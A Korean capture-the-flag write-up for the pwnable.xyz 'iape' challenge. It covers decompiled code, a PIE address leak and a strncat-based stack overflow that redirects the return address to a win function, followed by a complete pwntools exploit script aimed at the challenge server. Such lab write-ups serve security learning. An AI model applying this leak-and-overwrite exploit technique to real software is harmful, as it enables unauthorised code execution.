[pwnable.xyz]iape
하 리턴이 안 덮혀서 삽질해서 푸는데 5시간이 걸렸다.
메뉴는 Init, Append, Print, Exit 4가지로 구성되어있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
const char *v4; // rdi
int v5; // eax
char s; // [rsp+10h] [rbp-400h]
setup();
v3 = 0LL;
v4 = &s;
memset(&s, 0, 1024uLL);
while ( 1 )
{
while ( 1 )
{
print_menu(v4, v3);
v5 = read_int32();
if ( v5 != 1 )
break;
printf("data: ");
v3 = &qword_80;
v4 = &s;
fgets(&s, 128, stdin);
}
if ( v5 <= 1 )
break;
if ( v5 == 2 )
{
v4 = &s;
append(&s);
}
else if ( v5 == 3 )
{
v3 = &s;
v4 = "Your message: %s\n";
printf("Your message: %s\n", &s);
}
else
{
LABEL_13:
v4 = "Invalid";
puts("Invalid");
}
}
if ( v5 )
goto LABEL_13;
return 0;
}
srand(time(0)) 시드 줘서 rand() % 16 만큼 buf에 입력받을 수 있다.
char *__fastcall append(char *a1)
{
char buf; // [rsp+10h] [rbp-20h]
unsigned int v3; // [rsp+2Ch] [rbp-4h]
v3 = rand() % 16;
printf("Give me %d chars: ", v3);
read(0, &buf, v3);
return strncat(a1, &buf, v3);
}
우선 PIE때문에 PIE leak부터 해줘야한다. append
함수에서 입력받을 때 buf + 8위치에 PIE 주소가 있었고 random값이 14이상이면 3번메뉴에서 PIE leak할 수 있다.
append
함수에서 strncat으로 s변수 계속 값을 넣어주고 main 함수에서 s변수의 리턴을 win함수 주소로 맞춰주면 된다.
거의 80퍼센트 학률로 플래그 따인다.. ㅎㅎ 정말 삽질 오래했다.
exploit.py
from pwn import *
from ctypes import *
# context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30014)
lib = CDLL('libc.so.6')
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
count = 0
win = e.symbols['win']
def leak():
global count
while(True):
log.info('count : {}'.format(count))
sla('>','2')
p.recvuntil('me ')
c = int(p.recvuntil(' ').strip())
if c == 0:
continue
if c >= 14:
sa(':','A'*8)
count += 8
sla('>','3')
pie = u64((p.recvuntil('\x0a')[-7:])[:6] + '\x00\x00') - 0xbc2
log.info('pie : {}'.format(hex(pie)))
return (pie+e.symbols['win'])
count += 6
else:
sa(':','A'*(c-1)+'\x00')
count += c-1
def exploit(win):
global count
while(True):
log.info('count : {}'.format(count))
log.info('win : {}'.format(hex(win)))
if count == 1026:
i = 0
while(True):
log.info('count : {}'.format(count))
sla('>','2')
p.recvuntil('me ')
c = int(p.recvuntil(' ').strip())
if c > 8:
sa(':',p64(win)) # ret
#raw_input()
sla('>','0')
p.interactive()
elif c == 0:
continue
elif c == 1:
sa(':','\x00')
else:
sa(':','\x00')
sla('>','2')
p.recvuntil('me ')
c = int(p.recvuntil(' ').strip())
if c == 0:
continue
if count < 1020:
sa(':','A'*(c-1)+'\x00')
count += c-1
else:
sa(':','A\x00')
count += 1
win = leak()
log.info('win : {}'.format(hex(win)))
try:
exploit(win)
except:
pass
p.interactive()